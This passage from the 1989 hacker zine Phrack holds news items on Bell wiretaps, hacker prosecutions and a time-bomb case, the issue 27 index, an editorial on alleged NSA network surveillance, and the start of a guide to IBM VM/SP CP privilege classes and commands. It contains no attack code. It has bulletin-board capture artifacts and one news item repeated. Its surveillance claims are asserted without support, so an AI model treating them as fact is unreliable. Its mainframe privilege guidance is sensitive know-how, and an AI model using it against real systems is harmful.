10. Hacker/Phreaker Gets "Stiff" Penalty (Green Bay, Wisconsin) ‑‑ David Kelsey, aka Stagehand, plead guilty to two counts of class "E" felonies and received a 90 day jail term. Once he has completed his jail term, he will serve three years probation and an unknown amount of community service hours.

In addition to these penalties, Stagehand must also pay restitution of $511.00 to Schneider Communications of Green Bay, Wisconsin. Stagehand was given all his computer equipment back as part of the plea bargain ‑minus any materials considered to be "ill gotten" gains.

________________________________________

! ***

1:30:22 p.m. ARE YOU STILL THERE ?

! ***

1:35:22 p.m. RESPOND OR BE LOGGED OFF

!

y

supervisors who said the taps were for the police. They were told that many of the taps were for the FBI.

Another radio amateur, Vincent Clark/KB4MIT, a technician for South‑Central Bell from 1972 to 1981, said he placed illegal wiretaps similar to those done by Bob Draise on orders from his supervisors ‑‑ and on request from local policemen in Louisville, Kentucky.

When asked how he got started in the illegal wiretap business, Bob said that a friend called and asked him to come down to meet with the Cincinnati police. An intelligence sergeant asked Bob about wiretapping some Black Muslims. He also told Bob that Cincinnati Bell security had approved the wiretap ‑‑ and that it was for the FBI. The sergeant pointed to his Masonic ring which Bob also wore ‑‑ in other words, he was telling the truth under the Masonic oath ‑‑ something that Bob put a lot of stock in.

Most of the people first wiretapped were drug or criminal related. Later on, however, it go out of hand ‑‑ and the FBI wanted taps on prominent citizens. "We started doing people who had money. How this information was used, I couldn't tell you."

The January 29th "Newsday" said Draise had told investigators that among the taps he rigged from 1972 to 1979 were several on lines used by Wren Business Communications, a Bell competitor. It seems that when Wren had arranged an appointment with a potential customer, they found that Bell had just been there without being called. Wren's president is a ham radio operator, David Stoner/K8LMB.

When spoken with, Dave Stoner said the following;

"As far as I am concerned, the initial focus for all of this began with the FBI. The FBI apparently set up a structure throughout the United States using apparently the security chiefs of the different Bell companies. They say that there have been other cases in the United States like ours in Cincinnati but they have been localized without the realization of an overall pattern being implicated."

"The things that ties this all together is if you go way back in history to the Hoover period at the FBI, he apparently got together with the AT&T security people. There is an organization that I guess exists to this day with regular meetings of the security people of the different Bell companies. This meant that the FBI would be able to target a group of 20 or 30 people that represented the security points for all of the Bell and AT&T connections in the United States. I believe the key to all of this goes back to Hoover. The FBI worked through that group who then created the activity at the local level as a result of central planning."

"I believe that in spite of the fact that many people have indicated that this is an early 70's problem ‑‑ that there is no disruption to that work to this day. I am pretty much convinced that it is continuing. It looks like a large surveillance effort that Cincinnati was just a part of."

"The federal prosecutor Kathleen Brinkman is in a no‑win situation. If she successfully prosecutes this case she is going to bring trouble down upon her own Justice Department. She can't successfully prosecute the case."

About $200 million in lawsuits have already been filed against Cincinnati Bell and the Police Department. Several members of the police department have taken the Fifth Amendment before the grand jury rather than answer questions about their roles in the wiretapping scheme.

Bob Draise/WB8QCF has filed a suit against Cincinnati Bell for $78 for malicious prosecution and slander in response to a suit filed by Cincinnati Bell against Bob for defamation. Right after they filed the suit, several policemen came forward and admitted to doing illegal wiretaps with them. The Cincinnati police said they stopped this is 1974 ‑‑ although another policeman reportedly said they actually stopped the wiretapping in 1986.

Now the CBS‑TV program "60 Minutes" is interested in the Cincinnati goings‑on and has sent in a team of investigative reporters. Ed Bradley from "60 Minutes" has already interviewed Bob Draise/WB8QCF and it is expected that sometime during this month (April) April, we will see a "60 Minutes" report on spying by the FBI. We also understand that CNN, Ted Turner's Cable News Network, is also working up a "Bugging of America" expose.

________________________________________

Crackdown On Hackers Urged April 9, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%

Taken From the Chicago Tribune (Section 7, Page 12b)

"Make Punishment Fit The Crime," computer leaders say.

DALLAS (AP) ‑‑ The legal system has failed to respond adequately to the threat that hackers pose to the computer networks crucial to corporate America, a computer expert says.

Many computer hackers "are given slaps on the wrist," Mark Leary, a senior analyst with International Data Corp., said at a roundtable discussion last week.

"The justice system has to step up...to the fact that these people are malicious and are criminals and are robbing banks just as much as if they walked up with a shotgun," he said.

Other panelists complained that hackers, because of their ability to break into computer systems, even are given jobs, sometimes a security consultants.

The experts spoke at a roundtable sponsored by Network World magazine, a publication for computer network users and managers.

Computer networks have become crucial to business, from transferring and compiling information to overseeing and running manufacturing processes.

The public also is increasingly exposed to networks through such devices as automatic teller machines at banks, airline reservation systems and computers that store billing information.

Companies became more willing to spend money on computer security after last year's celebrated invasion of a nationwide network by a virus allegedly unleased by a graduate student [Robert Tappen Morris], the experts said.

"The incident caused us to reassess the priorities with which we look at certain threats," said Dennis Steinaur, manager of the computer security management group of the National Institute of Standards and Technology.

But computer security isn't only a matter of guarding against unauthorized entry, said Max Hopper, senior vice president for information systems as American Airlines.

Hopper said American has built a "a Cheyenne mountain‑type" installation for its computer systems to guard against a variety of problems, including electrical failure and natural disaster. Referring to the Defense Department's underground nerve center in a Colorado mountain, he said American's precautions even include a three‑day supply of food.

"We've done everything we can, we think, to protect the total environment," Hopper said.

Hopper and Steinaur said that despite the high‑tech image of computer terrorism, it remains an administrative problem that should be approached as a routine management issue.

But the experts agreed that the greatest danger to computer networks does not come from outside hackers. Instead, they said, the biggest threat is from disgruntled employees or others whose original access to systems was legitimate.

Though employee screening is useful, Steinaur said, it is more important to build into computer systems ways to track unauthorized use and to publicize that hacking can be traced.

Steinaur said growing computer literacy, plus the activities of some non‑malicious hackers, help security managers in some respects.

Expanded knowledge "forces us as security managers not be dependent on ignorance," Steinaur said.

"Security needs to be a part of the system, rather than a 'nuisance addition,'" Steinaur said, "and we probably have not done a very good job of making management realize that security is an integral part of the system."

IDC's Leary said the organization surveys of Fortune 1000 companies surprisingly found a significant number of companies were doing little to protect their systems.

The discussion, the first of three planned by Network World, was held because computer sabotage "is a real problem that people aren't aware of," said editor John Gallant. Many business people sophisticated networks."

It also is a problem that many industry vendors are reluctant to address, he said, because it raises questions about a company's reliability.

Typed For PWN by Hatchet Molly

________________________________________

Ex‑Worker Charged In Virus Case ‑‑ Databases Were Alleged Target Apr 12, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

by Jane M. Von Bergen (Philadelphia Inquirer)

A former employee was charged yesterday with infecting his company's computer database in what is believed to be the first computer‑virus arrest in the Philadelphia area.

"We believe he was doing this as an act of revenge," said Camden County Assistant Prosecutor Norman Muhlbaier said yesterday, commenting on a motive for the employee who allegedly installed a program to erase databases at his former company, Datacomp Corp. in Voorhees, New Jersey.

Chris Young, 21, of the 2000 block of Liberty Street, Trenton, was charged in Camden County with one count of computer theft by altering a database. Superior Court Judge E. Stevenson Fluharty released Young on his promise to pay $10,000 if he failed to appear in court. If convicted, Young faces a 10‑year prison term and a $100,000 fine. Young could not be reached for comment.

"No damage was done," Muhlbaier said, because the company discovered the virus before it could cause harm. Had the virus gone into effect, it could have damaged databases worth several hundred thousand dollars, Muhlbaier said.

Datacomp Corp., in the Echelon Mall, is involved in telephone marketing. The company, which has between 30 and 35 employees, had a contract with a major telephone company to verify the contents of its white pages and try to sell bold‑faced or other special listings in the white pages, a Datacomp company spokeswoman said. The database Young is accused of trying to destroy is the list of names from the phone company, she said.

Muhlbaier said that the day Young resigned from the company, October 7, 1988 he used fictitious passwords to obtain entry into the company computer, programming the virus to begin its destruction December 7, 1988 ‑‑ Pearl Harbor Day. Young, who had worked for the company on and off for two years ‑‑ most recently as a supervisor ‑‑ was disgruntled because he had received some unfavorable job‑performance reviews, the prosecutor said.

Eventually, operators at the company picked up glitches in the computer system. A programmer, called in to straighten out the mess, noticed that the program had been altered and discovered the data‑destroying virus, Muhlbaier said. "What Mr. Young did not know was that the computer system has a lot of security features so they could track it back to a particular date, time and terminal," Muhlbaier said. "We were able to ... prove that he was at that terminal." Young's virus, Muhlbaier said, is the type known as a "time bomb" because it is programmed to go off at a specific time. In this case, the database would have been sickened the first time someone switched on a computer December 7, he said

Norma Kraus, a vice president of Datacomp's parent company, Volt Information Sciences Inc, said yesterday that the company's potential loss included not only the databases, but also the time it took to find and cure the virus. "All the work has to stop," causing delivery backups on contracts, she said. "We're just fortunate that we have employees who can determine what's wrong and then have the interest to do something. In this case, the employee didn't stop at fixing the system, but continued on to determine what the problem was." The Volt company, based in New York, does $500 million worth of business a year with such services as telephone marketing, data processing and technical support. It also arranges temporary workers, particularly in the data‑processing field, and installs telecommunication services, Kraus said.

________________________________________

Mexico's Phone System Going Private? April 17, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

By Oryan QUEST (Special Hispanic Corespondent)

The Mexico Telephone Company, aka Telefonos de Mexico, aka Telmex, is likely to go private in the next year or two. The Mexican government is giving serious consideration to selling its controlling interest in that nation's communications network, despite very stiff opposition from the local unions which would prefer to see the existing bureaucracy stay in place.

The proposed sale, which is part of a move to upgrade the phone system there ‑and it *does* need upgrading ‑‑ by allowing more private investment, is part of a growing trend in Mexico to privatize heretofore nationalized industries.

The Mexico Telephone Company has spent more than a year planning a $14 billion, five‑year restructuring plan which will probably give AT&T and the Bell regional holding companies a role in the improvements.

One plan being discussed by the Mexican government is a complete break‑up of Telmex, similar to the court‑ordered divestiture of AT&T a few years ago. Under this plan, there would be one central long distance company in Mexico, with the government retaining control of it, but privately owned regional firms providing local and auxiliary services.

Representatives of the Mexican government have talked on more than one occasion with some folks at Southwestern Bell about making a formal proposal. Likewise, Pacific Bell has been making some overtures to the Mexicans. It will be interesting to see what develops.

About two years ago, Teleconnect Magazine, in a humorous article on the divestiture, presented a bogus map of the territories assigned to each BOC, with Texas, New Mexico and Arizona grouped under an entity called "Taco Bell."

Any phone company which takes over the Mexican system will be an improvement over the current operation, which has been slowly deteriorating for several years.

PS: I *Demand* To Be Let Back On MSP!

________________________________________

==Phrack Inc.==

Volume Three, Issue 26, File 11 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN %%%%%%%%%%% %%%%%%%%% %%%%%%PWN

PWN Issue XXVI/Part 3 PWN

PWN PWN

PWN April 25, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Galactic Hacker Party March 30, 1989

%%%%%%%%%%%%%%%%%%%%%

GALACTIC HACKER PARTY

August 2‑4, 1989

PARADISO, AMSTERDAM, HOLLAND

During the summer of 1989, the world as we know it will go into overload. An interstellar particle stream of hackers, phone phreaks, radioactivists and assorted technological subversives will be fusing their energies into a media melt‑down as the global village plugs into Amsterdam for three electrifying days of information interchange and electronic capers.

Aided by the advanced communications technology to which they are accustomed, the hacker forces will discuss strategies, play games, and generally have a good time. Free access to permanently open on‑line facilities will enable them to keep in touch with home base ‑‑ wherever that is.

Those who rightly fear the threat of information tyranny and want to learn what they can do about it are urgently invited to interface in Amsterdam in August. There will be much to learn from people who know. Celebrity guests with something to say will be present in body or electronic spirit.

The Force must be nurtured. If you are refused transport because your laptop looks like a bomb, cut off behind enemy lines, or unable to attend for any other reason, then join us on the networks. Other hacker groups are requested to organize similar gatherings to coincide with ours. We can provide low‑cost international communications links during the conference.

[ Despite the wishes of those planning the "Galactic Hacker ] [ Party," there will be NO change in plans for SummerCon '89! ]

For further information, take up contact as soon as possible with:

HACK‑TIC PARADISO P.O. box 22953 Weteringschans 6‑8 1100 DL Amsterdam 1017 SG Amsterdam The Netherlands The Netherlands

tel: +31 20 6001480 tel: +31 20 264521 / +31 20 237348

________________________________________

Subversive Bulletin Boards March 26, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%

An article in a newspaper from the United Kingdom had an article relating to a computer bulletin board being run by a 14‑year‑old boy in Wilmslow, Cheshire, England. It contained information relating to such things as making plastic explosives.

Anti‑terrorist detectives are said to be investigating for possible breaches of the Obscene Publications Act. Apparently reporters were able to easily gain access to this bulletin board and peruse articles on such subjects as credit card fraud, making various types of explosives, street fighting techniques and dodging police radar traps.

One article was obviously aimed at children and described how to make a bomb suitable for use on "the car of a teacher you do not like at school," which would destroy the tire of a car when it was started.

The boy's parents did not seem to think that their son was doing anything wrong, preferring him to be working with his computer rather than roaming the streets.

A London computer consultant, Noel Bradford, is quoted as having seen the bulletin board and found messages discussing "how to crack British Telecom, how to get money out of people and how to defraud credit card companies. Credit card numbers are given, along with PIN numbers, names, addresses and other details."

________________________________________

Tale Of TWO TAP Magazines! April 24, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%

It seemed inevitable that the battle for the rights to TAP would come into play, but many wonder why it has taken so long.

The Renegade Chemist, long time member of Phortune 500 and one of its "Board Of Directors," has been talking about re‑starting TAP Magazine for at least two years... nothing ever happened with it until now. TRC claims that the TAP Magazine crew in Kentucky is just a fraud and that he is putting on the "REAL McCoy."

For a free issue of The Renegade Chemist's TAP Magazine, send a self‑addressed stamped envelope to:

Data Security Consultants, Inc.

TAP Magazine

P.O. Box 271

South Windam, CT 06266‑0271

Now on the other hand, Aristotle of the Kentucky based TAP Magazine has shown an almost uncaring attitude about The Renegade Chemist's statements about TAP Magazine. He says that he does not "really mind if these people put out a magazine. Honestly I just want to help the community and the more magazines and information, the better."

The really big news about the Kentucky based TAP Magazine came Saturday, April 22, 1989. Apparently, because of problems with local banks and the Internal Revenue Service, TAP Magazine is now FREE!

The only catch is that if you want it, you have to send them a self‑addressed stamped envelope to get each issue or "you can send cash, but only enough to pay for postage, 25 cents should cover it." Do not send any kinds of checks and/or money orders. Anyone who did will be receiving their checks back or at least those checks will not be cashed. The TAP Magazine staff will be taking care of the printing costs out of their own pocket.

So for the FREE TAP Magazine, send a self‑addressed stamped envelope to:

P.O. Box 20264

Louisville, KY 40220

Issue 93 is due for the end of April 1989, but Aristotle also wanted me to let everyone know that he will be attending SummerCon '89 and bringing with him plenty of issues of all the TAPs that he, Olorin The White, and Predat0r have published.

As I have not seen TRC's TAP, I make no judgements. Instead, get a copy of both TAPs FREE and compare them yourself. The market will decide which TAP will continue.

Information Provided by Aristotle and The Renegade Chemist

________________________________________

Computer Group Wary Of Security Agency April 11, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Taken from the San Francisco Chronicle

A public interest group said yesterday that the National Security Agency, the nation's biggest intelligence agency, could exert excessive control over a program to strengthen the security of computer systems throughout the federal government.

The group, Computer Professionals for Social Responsibility ‑‑ based in Palo Alto ‑‑ urged key members of Congress to focus "particularly close scrutiny" on the agency's role in helping to implement legislation aimed at safeguarding sensitive but unclassified information in federal computers.

"There is a constant risk that the federal agencies, under the guise of enhancing computer security, may find their programs ‑‑ to the extent that they rely upon computer systems ‑‑ increasingly under the supervision of the largest and most secretive intelligence organization in the country," it said.

________________________________________

Verifying Social Security Numbers April 11, 1989

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Taken From The New York Times

Dorcas R. Hardy, Commisssioner of the Social Security Administration, told a Congressional committee that the agency had verified millions of SSN's for private credit companies.

TRW, the nation's largest credit reporting company, recently proposed paying the Social Security Administration $1,000,000 to have 140 million numbers verified.

Phil Gambino, an agency spokesman, reported last month that the agency had verified social security numbers only at the request of beneficiaries or employers and had never verified more than 25 numbers at a time. He said such disclosures were required under the Freedom of Information Act.

At the hearing yesterday, Dorcas R. Hardy, denied any other verifications at first. However, she later admitted that in the early 1980s, 3,000,000 social security numbers were verified for CitiCorp and that last year 151,000 numbers were verified for TRW. Ms. Hardy said that the 151,000 numbers were just part of a "test run."

Senator David Pryor, a democrat from Arkansas and chairman of the Special Committee on Aging, said that previous commissioners; the Congressional Research Service of the Library of Congress, and Donald A. Gonya, chief counsel for Social Security have all decided that such verification is illegal.

________________________________________

PWN Quicknotes

1. Prank Virus Warning Message (March 28, 1989) ‑‑ An individual placed a time bomb message on a government service system in the San Francisco Bay Area saying, "WARNING! A computer virus has infected the system!" The individual is learning that such a prank is considered almost as funny as saying that you have a bomb in your carry‑on luggage as you board a plane. ‑‑ Bruce Baker, Information Security Program, SRI International

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2. Hackers' Dictionary In Japanese? (March 30, 1989) ‑‑ What is this you ask? This amusing compilation was put together a decade or so ago by artificial intelligence (AI) graduate students at Stanford, MIT, and Carnegie‑Mellon and recorded the then‑current vernacular of their shared cultures. They did it for fun, but it somehow ended up getting published.

The Hackers' Dictionary contains more than a few puns, jokes, and other things that are hard to translate such as "moby," as in "moby memory", or "fubar" and its regional variants "foo bar" and "foo baz."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

3. AT&T's Air Force ‑‑ AT&T has an air force that patrols its cable routes, some routes 24 hours a day, 365 days a year. The AT&T air force includes helicopters and fixed‑wing aircraft. For some areas, AT&T uses infantry and armored cars. AT&T's Sue Fleming says, "We hope NOT to find any activity. We don't want to 'catch' people. But if we do spot a digging crew, the usual procedure is for the pilot to radio the location back to a ground crew, who check it out. On occasion, they drop notes ‑‑ or even land ‑‑ but that depends on where the site is. In some areas ‑‑ like New Jersey ‑‑ unauthorized landings bring heavy penalties."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

4. Terrorist Threat? ‑‑ Scientific advisors to the government told a Senate panel that telecommunications networks are tempting targets for terrorist activity. The experts said that advances in technology ‑‑ like fiber optics, which concentrates equipment and data ‑‑ and the fragmentation of the telecom industry after divestiture are reasons for the increased risk. Certainly the Hinsdale, Illinois CO fire and the recent severing of a fiber backbone in New Jersey have shown us all how vulnerable our country's telecom network is.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

5. FCC Rules On AOS ‑‑ The FCC has ruled on a complaint filed this summer by two consumer groups against five Alternative Operator Services (AOS) companies. The FCC found the complaint valid and has ordered the AOS companies to stop certain practices immediately.

The ruling states that callers must be told when their calls are being handled by an AOS, operators must provide callers with rate information and hotel or payphone owners cannot block calls to other long distance carriers. (Callers who don't take any special action when making a call will still be routed to the pre‑subscribed carrier.)

The FCC has also ordered the companies to eliminate "splashing" whenever technically feasible. Splashing is transferring a call to a distant carrier point‑of‑presence and charging the caller for the call from that point.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

6. Cool New Service ‑‑ CompuServe (the world's biggest computer bulletin board) users can now dial in and search and find articles from a bunch of different technical trade magazines. The database was put together by an outfit called Information Access Company. It currently contains full‑text articles for 50 publications and paraphrased abstracts for 75 more. Most coverage begins with the January 1987 issues.

You can search the publications by magazine name, author, key word, key phrase, etc., then pull up the abstracts of the article of interest and, if needed and when available, get the full text of the article. And it's easy to use.

Charge for the service is $24 per hour, $1 for each abstract, and $1.50 for each full‑text article accessed. CompuServe charges $12.50 per hour for connect time. Both per hour charges are pro‑rated, and, with the databases being so easy to use, you'll rarely be on the board for more than 10‑15 minutes, so those costs will drop.

CompuServe 800‑848‑8199 Information Access 800‑227‑8431

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

7. ISDN Calling Number Identification Services (April 7, 1989) ‑‑ Bellcore Technical Reference TR‑TSY‑000860, "ISDN Calling Number Identification Services" can be purchased for $46 from:

Bellcore

Customer Service

60 New England Ave

Piscataway, NJ 08854‑4196

(201) 699‑5800

This Technical Reference contains Bellcore's view of generic requirements for support of ISDN Calling Number Identification (I‑CNIS). The I‑CNIS feature extends the concepts of Calling Number Delivery and Calling Number Delivery Blocking to ISDN lines. I‑CNIS also allows the customer to specify which Directory Number (DN) should be used for each outgoing call and provides network screening to ensure that the specified DN is valid. I‑CNIS handles calling number processing for both circuit‑mode and packet‑mode ISDN calls and provides four component features: Number Provision, Number Screening, Number Privacy, and Number Delivery. Material on Privacy Change by the calling party and Privacy Override by the called party is also included.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

8. Founder of TAP Magazine, Abbie Hoffman, born in 1936, passed away on April 12, 1989. He was found dead in his apartment in New Hope, PA. He was fully dressed under the bedcovers. An autopsy was inconclusive. An article about him appears in the April 24, 1989 issue of Time Magazine, "A Flower in a Clenched Fist," page 23.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

9. Bill Landreth aka The Cracker, author of Out Of The Inner Circle, has reappeared. Supposedly, he is now working as a bookbinder in Orange County, California and living with the sysop of a bulletin board called the "Pig Sty." ‑‑ Dark Sorcerer (April 19, 1989)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

10. Hacker/Phreaker Gets "Stiff" Penalty (Green Bay, Wisconsin) ‑‑ David Kelsey, aka Stagehand, plead guilty to two counts of class "E" felonies and received a 90 day jail term. Once he has completed his jail term, he will serve three years probation and an unknown amount of community service hours.

In addition to these penalties, Stagehand must also pay restitution of $511.00 to Schneider Communications of Green Bay, Wisconsin. Stagehand was given all his computer equipment back as part of the plea bargain ‑minus any materials considered to be "ill gotten" gains.

________________________________________

! ***

1:30:22 p.m. ARE YOU STILL THERE ?

! ***

1:35:22 p.m. RESPOND OR BE LOGGED OFF

!

27

- Phrack Inc. XXVII Index by Knight Lightning & Taran King

- Operating The IBM VM/SP CP by Taran King

- Introduction To MIDNET by Knight Lightning

- NUA List For Datex-P And X.25 Networks by Oberdaemon

- COSMOS by King Arthur

- Looking Around In DECnet by Deep Thought

- The Making Of A Hacker by Framstag

- Sending Fakemail In Unix by Dark OverLord

- The Postal Inspection Service by Vendetta

- Phrack World News XXVII Part 1 by Knight Lightning

- Phrack World News XXVII Part 2 by Knight Lightning

- Phrack World News XXVII Part 3 by Knight Lightning

Phrack Inc. XXVII Index

==Phrack Inc.==

Volume Three, Issue 27, File 1 of 11

Phrack Inc. Newsletter Issue XXVII Index

~~~~~~~~~~~~~~~~~~~~~

June 20, 1989

Greetings and welcome to Issue 27 of Phrack Inc. The pressure is on with SummerCon '89 just a couple short days away. We're sorry it has taken so long to get this issue out, but summer break has created more responsibilities and busy schedules than we have ever had to deal with while in school. Still, I think you will agree that this issue was worth the wait.

This issue we feature a new updated NUA and Datex‑P list from Oberdaemon of Switzerland and Chapter 7 of the Future Transcendent Saga (taking into account that the SPAN and NSFnet files were chapters 5 and 6). We also present the second part of the COSMOS file written by King Arthur.

Before we get to the main contents of the issue, we have a few comments to make regarding security and Phrack Inc.'s Internet access;

Thanks to a friend, we at Phrack Inc. have become aware of one of the main techniques that the National Security Agency (NSA) uses to perform surveillance on the wide area networks.

In certain messages that certain government agencies distribute, special phone numbers are included; WATS (800) numbers, to be more specific. As these messages are distributed around the continent via various netmail and file transfer schemes, they are passed through several surveillance stations. All of their stations perform one function, and in Unix terms, that function is called "grep."

Grep stands for G>lobal R>egular E>xpression search and P>rint. The grep does simple string matching. Every instance of these special 800‑numbers in an email message (or batch of them) is flagged, recorded, and the record is mailed to certain intelligence agencies by the surveillance stations.

Here are the networks that we are reasonably certain that this practice is performed on:

* USEnet : Email is only checked in certain places, but ALL netnews (including alt and any other nonstandard newsgroups) are flagged by a single government domain SUN‑3 that shall remain nameless.

* ARPAnet : All mail going through a standard BBN (Bolt, Bernack, and Neumann... a Cambridge/MIT spinoff) Internet controller will be flagged, but the only information recorded by the controller is the source and destination TCP/IP addresses of the message. But when you consider that this involves ***ALL*** DARPA mailing lists, you get a visualization of the magnitude. The reason more complex information is NOT recorded is that this network is the only AUTHORIZED place that these messages with the hot WATS are supposed to appear. You will see what this means in a moment. * BITnet : Large IBM mainframe with I/O channel cycles to spare should have no problem scanning mail from one of the most publically accessable "free" networks.

* Fidonet : The Secret Service scans this for credit card and other violations. It is not too hard for them to check for the (800)'s, too. * W.Union : All international telex lines are scanned to match a whole lot of stuff, especially drug‑related information. The phone numbers are on their list.

We have other suspicions, but we are withholding them for now.

The other news is equally disturbing because it strikes us a little close to home. We are temporarily losing our network access. As of June 27, 1989 through August 28, 1989 we will not have access to our accounts on UMCVMB mainframe system. Make no attempt to mail us to our addresses there until August 28, 1989. However, every cloud has a silver lining and this is no exception. For networks people who wish to submit files to Phrack Inc. during this time period we proudly present our friend and associate, Hatchet Molly. He can be reached at "TK0GRM2@NIU.BITNET" and/or "TK0GRM2%NIU.BITNET@CUNYVM.CUNY.EDU".

So here is to another great issue of Phrack Inc!

Taran King Knight Lightning

Hatchet Molly

TK0GRM2@NIU.BITNET

TK0GRM2%NIU.BITNET@CUNYVM.CUNY.EDU

________________________________________

Table of Contents:

1. Phrack Inc. XXVII Index by Taran King and Knight Lightning

2. Operating The IBM VM/SP CP by Taran King

3. Introduction To MIDNET: Chapter Seven Of The FTS by Knight Lightning 4. NUA List For Datex‑P And X.25 Networks by Oberdaemon

5. COSMOS: COmputer System for Mainframe OperationS (Part Two) by King Arthur 6. Looking Around In DECnet by Deep Thought

7. The Making Of A Hacker by Framstag

8. Sending Fakemail In Unix by Dark OverLord

9. The Postal Inspection Service by Vendetta

10. Phrack World News XXVII/Part 1 by Knight Lightning

11. Phrack World News XXVII/Part 2 by Knight Lightning

12. Phrack World News XXVII/Part 3 by Knight Lightning

Operating The IBM VM/SP CP

==Phrack Inc.==

Volume Three, Issue 27, File 2 of 12

Operating the IBM VM/SP CP

(IBM Virtual Machine System Product Control Program)

An information article researched by

Taran King

May 18, 1989

This article is for the purpose of understanding the Control Program (CP) portion of IBM's VM/SP. This is basically a separate section of VM/CMS known as CP (with full screen editors, the CP level is indicated in the lower right hand corner of the screen and for line‑by‑line editors, before the command line and after hitting carriage returns, it should say "CP") and it's purpose is to manage real resources. Any command that involves something outside of your virtual machine must communicate with CP. If CMS does not recognize a command you give it, it will give it to CP.

The user generally enters the CP stage after a program flops or if you get disconnected. You can also enter the CP stage by hitting PA1 which is a function key of sorts. PA1 toggles between CP and CMS while on‑line and if you re‑login after being disconnected, PA1 can be used besides the BEGIN command which will be spoken about later in this article.

Generally, VM/CMS systems are well equipped with help files so if anything I print becomes unclear to you, from CMS mode, type HELP CP XXX where XXX is the CP command you want information on.

To start this article off, I'm printing off the IBM‑Defined Class and the Function Types as listed in the IBM VM/SP CP manual. This essentially tells you what privileges you have with your assigned class.

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~

IBM‑Defined Function User &

Class Type Functions

~~~~~~~~~~~ ~~~~~~~~ ~~~~~~~

A O Operations: The primary sysop can issue all

class A commands. The class A user controls

the VM/SP system. Class A is assigned to the

user at the VM/SP system console during IPL.

The primary sysop is responsible for the

availability of the VM/SP system and its

communication lines and resources. In

addition, the class A user controls system

accounting, broadcast messages, virtual

machine performance options, and other

command operands that affect the overall

performance of the VM/SP. The sysop controls

operation of the real machine using the

system control panel and console device.

NOTE: The class A sysop who is automatically

logged on during CP initialization is

designated as the primary sysop.

B R Resource: The system resource operator can

issue all class B commands. The class B user

controls allocation and deallocation of all

the real resources of the VM/SP system,

except those controlled by the primary sysop

and spooling operator.

C P Programmer: The system programmer can issue

all class C commands. The class C user

updates certain functions of the VM/SP

system. The system programmer can modify

real storage in the real machine.

D S Spooling: The spooling operator can issue

all class D commands. The class D user

controls spool data files and specific

functions of the system's unit record

equipment.

E A Analyst: The system analyst can issue all

class E commands. The class E user displays

the contents of real storage, performs the

functions required to generate saved systems

and discontiguous saved segments, and

controls the collecting and recording of

performance measurement data. This class of

user can display specified real storage areas

on the virtual operator's console or on a

spooled virtual printer, but cannot modify

real storage.

F C Customer Engineer: The service

representative can issue all class F

commands. The class F user obtains, and

examines, in detail, certain data about input

and output devices connected to the VM/SP

system. The service representative can

establish extensive recording mode for one

I/O device at a time and can cause the

recording of repressible machine check errors

to be initiated or resumed.

G G General: The general user can issue all

class G commands. The class G user controls

functions associated with the execution of

his virtual machine. A general user cannot

display or modify real storage.

ANY ANY The ANY classification is given to certain CP

commands that are available to any user.

These are primarily for the purpose of

gaining and relinquishing access to the VM/SP

system.

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~

The following is the list of commands available along with a brief description as to what they do and/or formatting and then ending with the IBM‑Defined Class and Function Type.

* : From CP, one may use the * command to annotate the terminal console sheet ~ or the terminal display screen with a comment. In other words, type * and then any string of characters you would, for some reason, to be present on the screen thereafter.

Privilege Class: ANY

Function Type: N/A

#CP : This command is used to execute a CP Command while in a virtual machine ~~~ command environment without first signaling attention to get to the CP command environment which means that when typing P <command> to perform a CP operation, CP directly receives the command whereas CP <command> merely queues the command from CP.

Privilege Class: ANY

Function Type: ANY

ACNT : The ACNT command is used to create accounting records for logged on ~~~~ users and to reset accounting data. It also closes a spool file that is accumulating accounting records.

Privilege Class: A

Function Type: O

ADSTOP : The ADSTOP command is used to halt the execution of a virtual machine ~~~~~~ at a virtual instruction point. The hexloc variable may be placed after the word ADSTOP which is a 6 character hexadecimal representation of the virtual instruction address where the execution is to be halted. The OFF option of the ADSTOP command cancels any previous ADSTOP setting. Privilege Class: G

Function Type: G

ATTN : Use the ATTN command to make an attention interruption pending at your ~~~~ virtual console.

Privilege Class: G

Function Type: G

AUTOLOG : This command allows the user to log on any virtual machine defined ~~~~~~~ in the directory.

Privilege Level: A, B

Function Type: O

BACKSPAC : The BACKSPAC command is used to restart or reposition the current ~~~~~~~~ output on a real punch or printer.

Privilege Class: D

Function Type: S

